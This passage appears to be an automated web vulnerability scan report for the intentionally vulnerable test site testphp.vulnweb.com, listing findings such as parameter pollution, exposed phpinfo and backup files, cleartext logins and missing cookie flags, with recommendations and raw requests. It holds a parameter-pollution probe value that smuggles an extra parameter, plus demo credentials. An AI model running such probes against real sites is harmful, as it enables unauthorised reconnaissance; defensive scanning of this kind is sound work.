text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/login.php

Details

Form name: loginform
Form action: userinfo.php
Form method: POST

Form inputs:

- uname [text]
- pass [password]
- <empty> [submit]

Request headers

```
GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

/product.php

Details

Form name: <empty>
Form action: search.php?test=query
Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/product.php

Details

Form name: f_addcart

Form action: cart.php

Form method: POST

Form inputs:

- price [hidden]
- addcart [hidden]
- <empty> [submit]

Request headers

GET /product.php?pic=1 HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/search.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

POST /search.php?test=query HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 25

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

goButton=go&searchFor=the

/signup.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /signup.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/signup.php

Details

Form name: form1

Form action: /secured/newuser.php

Form method: POST

Form inputs:

- uname [text]
- upass [password]
- upass2 [password]
- urname [text]
- ucc [text]
- uemail [text]
- uphone [text]
- uaddress [textarea]
- signup [submit]

Request headers

```
GET /signup.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

/Templates/main_dynamic_template.dwt.php

Details

Form name: <empty>
Form action: ../search.php?test=query
Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

GET /Templates/main_dynamic_template.dwt.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/userinfo.php

Details

Form name: <empty>

Form action: search.php?test=query

Form method: POST

Form inputs:

- searchFor [text]
- goButton [submit]

Request headers

POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

uname=test&pass=test

/userinfo.php

Details

Form name: form1

Form action: <empty>

Form method: POST

Form inputs:

- <empty> [text]
- ucc [text]
- uemail [text]
- uphone [text]
- uaddress [textarea]
- update [submit]

Request headers

```
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-WVS-ID: Acunetix-LSR/65535
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/login.php
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

uname=test&pass=test
```

HTTP parameter pollution

Severity	Medium
Reported by module	/Scripts/PerScheme/HTTP_Parameter_Pollution.script

Description

This script is possibly vulnerable to HTTP Parameter Pollution attacks.

HPP attacks consist of injecting encoded query string delimiters into other existing parameters. If the web application does not properly sanitize the user input, a malicious user can compromise the logic of the application to perform either clientside or server-side attacks.

Impact

The impact depends on the affected web application. An attacker could

- Override existing hardcoded HTTP parameters
- Modify the application behaviors
- Access and, potentially exploit, uncontrollable variables
- Bypass input validation checkpoints and WAFs rules

Recommendation

The application should properly sanitize user input (URL encode) to protect against this vulnerability.

References

[HTTP Parameter Pollution](https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) (https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf)

Affected items

/hpp/

Details

URL encoded GET input **pp** was set to **12&n925620=v920839**
Parameter precedence: **last occurrence**
Affected link: **params.php?p=valid&pp=12&n925620=v920839**
Affected parameter: **p=valid**

Request headers

GET /hpp/?pp=12%26n925620=v920839 HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Insecure crossdomain.xml file

Severity	Medium
Reported by module	/Scripts/PerServer/Crossdomain_XML.script

Description

The browser security model normally prevents web content from one domain from accessing data from another domain. This is commonly known as the "same origin policy". URL policy files grant cross-domain permissions for reading data. They permit operations that are not permitted by default. The URL policy file is located, by default, in the root directory of the target server, with the name crossdomain.xml (for example, at www.example.com/crossdomain.xml).

When a domain is specified in crossdomain.xml file, the site declares that it is willing to allow the operators of any servers in that domain to obtain any document on the server where the policy file resides. The crossdomain.xml file deployed on this website opens the server to all domains (use of a single asterisk "*" as a pure wildcard is supported) like so:

```
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
```

This practice is suitable for public servers, but should not be used for sites located behind a firewall because it could permit access to protected areas. It should not be used for sites that require authentication in the form of passwords or cookies. Sites that use the common practice of authentication based on cookies to access private or user-specific data should be especially careful when using cross-domain policy files.

Impact

Using an insecure cross-domain policy file could expose your site to various attacks.

Recommendation

Carefully evaluate which sites will be allowed to make cross-domain calls. Consider network topology and any authentication mechanisms that will be affected by the configuration or implementation of the cross-domain policy.

References

[Cross-domain policy file usage recommendations for Flash Player](https://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)

(https://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html)

[Cross-domain policy files](https://web.archive.org/web/20120303231120/http://blogs.adobe.com/stateofsecurity/2007/07/crossdomain_policy_files_1.html)

(https://web.archive.org/web/20120303231120/http://blogs.adobe.com/stateofsecurity/2007/07/crossdomain_policy_files_1.html)

Affected items

Web Server

Details

The crossdomain.xml file is located at **/crossdomain.xml**.

Request headers

GET /crossdomain.xml HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! JetBrains .idea project directory

Severity	Medium
Reported by module	/Scripts/PerFolder/JetBrains_Idea_Project_Directory.script

Description

The .idea directory contains a set of configuration files (.xml) for your project. These configuration files contain information core to the project itself, such as names and locations of its component modules, compiler settings, etc. If you've defined a data source the file dataSources.ids contains information for connecting to the database and credentials. The workspace.xml file stores personal settings such as placement and positions of your windows, your VCS and History settings, and other data pertaining to the development environment. It also contains a list of changed files and other sensitive information. These files should not be present on a production system.

Impact

These files may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove these files from production systems or restrict access to the .idea directory. To deny access to all the .idea folders you need to add the following lines in the appropriate context (either global config, or vhost/directory, or from .htaccess):

```
<Directory ~ "\.idea">
Order allow,deny
Deny from all
</Directory>
```

References

[Apache Tips & Tricks: Deny access to some folders](http://www.ducea.com/2006/08/11/apache-tips-tricks-deny-access-to-some-folders/) (<http://www.ducea.com/2006/08/11/apache-tips-tricks-deny-access-to-some-folders/>)

Affected items

Web Server

Details

workspace.xml project file found at : /.idea/workspace.xml

Pattern found:

```
<project version="4">
```

Request headers

GET /.idea/workspace.xml HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! PHP allow_url_fopen enabled

Severity	Medium
Reported by module	/Scripts/PerFolder/PHPInfo.script

Description

The PHP configuration directive `allow_url_fopen` is enabled. When enabled, this directive allows data retrieval from remote locations (web site or FTP server). A large number of code injection vulnerabilities reported in PHP-based web applications are caused by the combination of enabling `allow_url_fopen` and bad input filtering.

`allow_url_fopen` is enabled by default.

Impact

Application dependant - possible remote file inclusion.

Recommendation

You can disable `allow_url_fopen` from either `php.ini` (for PHP versions newer than 4.3.4) or `.htaccess` (for PHP versions up to 4.3.4).

php.ini

```
allow_url_fopen = 'off'
```

.htaccess

```
php_flag allow_url_fopen off
```

References

[Runtime Configuration](https://www.php.net/manual/en/filesystem.configuration.php) (<https://www.php.net/manual/en/filesystem.configuration.php>)

Affected items

/secured/phpinfo.php

Verified vulnerability

Details

This vulnerability was detected using the information from `phpinfo()` page.

`allow_url_fopen`: On

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
```

```
Cookie: login=test%2Ftest
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Encoding: gzip,deflate
```

```
Host: testphp.vulnweb.com
```

```
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
```

```
Connection: Keep-alive
```

! PHP errors enabled

Severity	Medium
Reported by module	/Scripts/PerFolder/PHPInfo.script

Description

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix found that the PHP `display_errors` directive is enabled.

Impact

Application error messages may disclose sensitive information which can be used to escalate attacks.

Recommendation

Adjust `php.ini` or `.htaccess` (`mod_php` with Apache HTTP Server) to disable `display_errors` (refer to 'Detailed information' section).

References

[PHP Runtime Configuration \(display_errors\)](https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors) (https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)
[PHP Runtime Configuration \(log_errors\)](https://www.php.net/manual/en/errorfunc.configuration.php#ini.log-errors) (https://www.php.net/manual/en/errorfunc.configuration.php#ini.log-errors)

Affected items

/secured/phpinfo.php

Verified vulnerability

Details

This vulnerability was detected using the information from `phpinfo()` page.

`display_errors`: On

Request headers

GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! PHP errors enabled

Severity	Medium
Reported by module	/httpdata/acusensor.js

Description

Application error or warning messages may expose sensitive information about an application's internal workings to an attacker.

Acunetix AcuSensor found that the PHP `display_errors` directive is enabled.

Impact

Application error messages may disclose sensitive information which can be used to escalate attacks.

Recommendation

Adjust `php.ini` or `.htaccess` (`mod_php` with Apache HTTP Server) to disable `display_errors` (refer to 'Detailed information' section).

References

[PHP Runtime Configuration \(display_errors\)](https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors) (https://www.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)
[PHP Runtime Configuration \(log_errors\)](https://www.php.net/manual/en/errorfunc.configuration.php#ini.log-errors) (https://www.php.net/manual/en/errorfunc.configuration.php#ini.log-errors)

Affected items

Web Server
Verified vulnerability
Details
Current setting is : display_errors = 1
Request headers

! PHP open_basedir is not set

Severity	Medium
Reported by module	/Scripts/PerFolder/PHPInfo.script

Description

The `open_basedir` configuration directive will limit the files that can be opened by PHP to the specified directory-tree. When a script tries to open a file with, for example, `fopen()` or `gzopen()`, the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. `open_basedir` is a good protection against remote file inclusion vulnerabilities. For a remote attacker it is not possible to break out of the `open_basedir` restrictions if he is only able to inject the name of a file to be included. Therefore the number of files he will be able to include with such a local file include vulnerability is limited.

Impact

Application dependant - possible remote code inclusion.

Recommendation

You can set `open_basedir` from `php.ini`

php.ini

`open_basedir = your_application_directory`

References

[Description of core php.ini directives](https://www.php.net/ini.core) (https://www.php.net/ini.core)

Affected items

/secured/phpinfo.php

Verified vulnerability

Details

This vulnerability was detected using the information from phpinfo() page.

open_basedir: no value

Request headers

GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! PHP session.use_only_cookies disabled

Severity	Medium
Reported by module	/Scripts/PerFolder/PHPInfo.script

Description

When use_only_cookies is disabled, PHP will pass the session ID via the URL. This makes the application more vulnerable to session hijacking attacks. Session hijacking is basically a form of identity theft wherein a hacker impersonates a legitimate user by stealing his session ID. When the session token is transmitted in a cookie, and the request is made on a secure channel (that is, it uses SSL), the token is secure.

Impact

Application dependant - possible session hijacking.

Recommendation

You can enabled session.use_only_cookies from php.ini or .htaccess.

php.ini

session.use_only_cookies = 'on'

.htaccess

php_flag session.use_only_cookies on

References

[Runtime Configuration](https://www.php.net/session.configuration) (https://www.php.net/session.configuration)

Affected items

/secured/phpinfo.php

Verified vulnerability

Details

This vulnerability was detected using the information from phpinfo() page.

session.use_only_cookies: On

Request headers

GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! PHPinfo page

Severity	Medium
Reported by module	/Scripts/PerFolder/PHPInfo.script

Description

PHPinfo page has been found in this directory. The PHPinfo page outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file from production systems.

References

[PHP phpinfo](https://www.php.net/manual/en/function.phpinfo.php) (https://www.php.net/manual/en/function.phpinfo.php)

Affected items

/secured/phpinfo.php

Verified vulnerability

Details

phpinfo() page found at : /secured/phpinfo.php.

Pattern found:

```
<title>phpinfo()</title>
```

Request headers

GET /secured/phpinfo.php HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

! PHPinfo page found

Severity	Medium
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

This script is using phpinfo() function. This function outputs a large amount of information about the current state of PHP. This includes information about PHP compilation options and extensions, the PHP version, server information and environment (if compiled as a module), the PHP environment, OS version information, paths, master and local values of configuration options, HTTP headers, and the PHP License.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove the file from production systems.

References

[PHP phpinfo](https://www.php.net/manual/en/function.phpinfo.php) (https://www.php.net/manual/en/function.phpinfo.php)

Affected items

/secured/phpinfo.php

Details

Pattern found:

```
<title>phpinfo()</title>
```

Request headers

```
GET /secured/phpinfo.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

! Source code disclosure

Severity	Medium
Reported by module	/Scripts/PerFile/Text_Search_File.script

Description

Looks like the source code for this script is available. This check is using pattern matching to determine if server side tags are found in the file. In some cases this alert may generate false positives.

Impact

An attacker can gather sensitive information (database connection strings, application logic) by analyzing the source code. This information can be used to conduct further attacks.

Recommendation

Remove this file from your website or change its permissions to remove access.

Affected items

/index.bak

Details

This file was found using the pattern .

Original filename:

Pattern found:

```
<?PHP require_once("database_connect.php"); ?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html><!-- InstanceBegin template="/Templates/main_dynamic_template.dwt.php" codeOutsideH
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">

<!-- InstanceBeginEditable name="document_title_rgn" -->
<title>Home of WASP Art</title>
<!-- InstanceEndEditable -->
<link rel="stylesheet" href="style.css" type="text/css">
<!-- InstanceBeginEditable name="headers_rgn" -->
<!-- here goes headers headers -->
<!-- InstanceEndEditable -->
<script language="JavaScript" type="text/JavaScript">
<!--
function MM_reloadPage(init) { //reloads the window if Nav4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4))
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.re ...
```

Request headers

GET /index.bak HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

/pictures/wp-config.bak

Details

This file was found using the pattern .

Original filename:

Pattern found:

```
<?php
// ** MySQL settings ** //
define('DB_NAME', 'wp265as'); // The name of the database
define('DB_USER', 'root'); // Your MySQL username
define('DB_PASSWORD', ''); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

// Change each KEY to a different unique phrase. You won't have to remember the phrases
// so make them long and complicated. You can visit http://api.wordpress.org/secret-key/
// to get keys generated for you, or just make something up. Each key should have a diff
define('AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phrase.
define('SECURE_AUTH_KEY', 'put your unique phrase here'); // Change this to a unique phra
define('LOGGED_IN_KEY', 'put your unique phrase here'); // Change this to a unique phrase

// You can have multiple installations in one database if you give each a unique prefix
$table_prefix = 'w ...
```

Request headers

```
GET /pictures/wp-config.bak HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive
```

User credentials are sent in clear text

Severity	Medium
Reported by module	/Crawler/12-Crawler_User_Credentials_Plain_Text.js

Description

User credentials are transmitted over an unencrypted channel. This information should always be transferred via an encrypted channel (HTTPS) to avoid being intercepted by malicious users.

Impact

A third party may be able to read the user credentials by intercepting an unencrypted HTTP connection.

Recommendation

Because user credentials are considered sensitive information, should always be transferred to the server over an encrypted connection (HTTPS).

Affected items

/login.php

Details

Form name: loginform
Form action: userinfo.php
Form method: POST

Request headers

GET /login.php HTTP/1.1
Host: testphp.vulnweb.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
X-WVS-ID: Acunetix-LSR/65535
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

/signup.php

Details

Form name: form1
Form action: /secured/newuser.php
Form method: POST

Request headers

GET /signup.php HTTP/1.1
Acunetix-Aspect: enabled
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: aspectalerts
Referer: http://testphp.vulnweb.com/
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

! WS_FTP log file found

Severity	Medium
Reported by module	/Scripts/PerFolder/WS_FTP_log_file.script

Description

WS_FTP is a popular FTP client. This application creates a log file named WS_FTP.LOG. This file contains sensitive data such as file source/destination and file name, date/time of upload etc.

Impact

This file may expose sensitive information that may help an malicious user to prepare more advanced attacks.

Recommendation

Remove this file from your website or change its permissions to remove access.

References

[ws_ftp.log \(https://seclists.org/fulldisclosure/2004/Aug/703\)](https://seclists.org/fulldisclosure/2004/Aug/703)

Affected items

/pictures/WS_FTP.LOG
Verified vulnerability
Details
Pattern found:
<input type="text" value="103.05.06 13:17"/>
Request headers
GET /pictures/WS_FTP.LOG HTTP/1.1
Cookie: login=test%2Ftest
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: Keep-alive

! Clickjacking: X-Frame-Options header missing

Severity	Low
Reported by module	/Scripts/PerServer/Clickjacking_X_Frame_Options.script

Description

Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an **X-Frame-Options** header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.

Impact

The impact depends on the affected web application.

Recommendation

Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.

References

[The X-Frame-Options response header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options) (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)
[Clickjacking](https://en.wikipedia.org/wiki/Clickjacking) (https://en.wikipedia.org/wiki/Clickjacking)
[OWASP Clickjacking](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html) (https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
[Frame Buster Buster](https://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed) (https://stackoverflow.com/questions/958997/frame-buster-buster-buster-code-needed)

Affected items

Web Server

Details

Request headers

GET / HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive

Cookie(s) without HttpOnly flag set

Severity	Low
Reported by module	/RPA/Cookie_Without_HttpOnly.js

Description

This cookie does not have the HttpOnly flag set. When a cookie is set with the HttpOnly flag, it instructs the browser that the cookie can only be accessed by the server and not by client-side scripts. This is an important security protection for session cookies.

Impact

Cookies can be accessed by client-side scripts.

Recommendation

If possible, you should set the HttpOnly flag for this cookie.

Affected items

Web Server

Verified vulnerability

Details

Set-Cookie: login=test%2Ftest

Request headers

POST /userinfo.php HTTP/1.1

Host: testphp.vulnweb.com

Content-Length: 20

Pragma: no-cache

Cache-Control: no-cache

Origin: http://testphp.vulnweb.com

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

X-WVS-ID: Acunetix-LSR/65535

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Referer: http://testphp.vulnweb.com/login.php

Accept-Encoding: gzip,deflate

Accept-Language: en-US,en;q=0.9

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

uname=test&pass=test

Cookie(s) without Secure flag set

Severity	Low
Reported by module	/RPA/Cookie_Without_Secure.js

Description

This cookie does not have the Secure flag set. When a cookie is set with the Secure flag, it instructs the browser that the cookie can only be accessed over secure SSL/TLS channels. This is an important security protection for session cookies.

Impact

Cookies could be sent over unencrypted channels.

Recommendation

If possible, you should set the Secure flag for this cookie.

Affected items

Web Server
Verified vulnerability
Details
Set-Cookie: login=test%2Ftest
Request headers

```
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Origin: http://testphp.vulnweb.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-WVS-ID: Acunetix-LSR/65535
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://testphp.vulnweb.com/login.php
Accept-Encoding: gzip,deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

uname=test&pass=test
```

🚩 Hidden form input named price was found

Severity	Low
Reported by module	/Crawler/12-Crawler_Hidden_Input_Price.js

Description

A hidden form input named price was found. It's not recommended to hide sensitive information in hidden form fields.

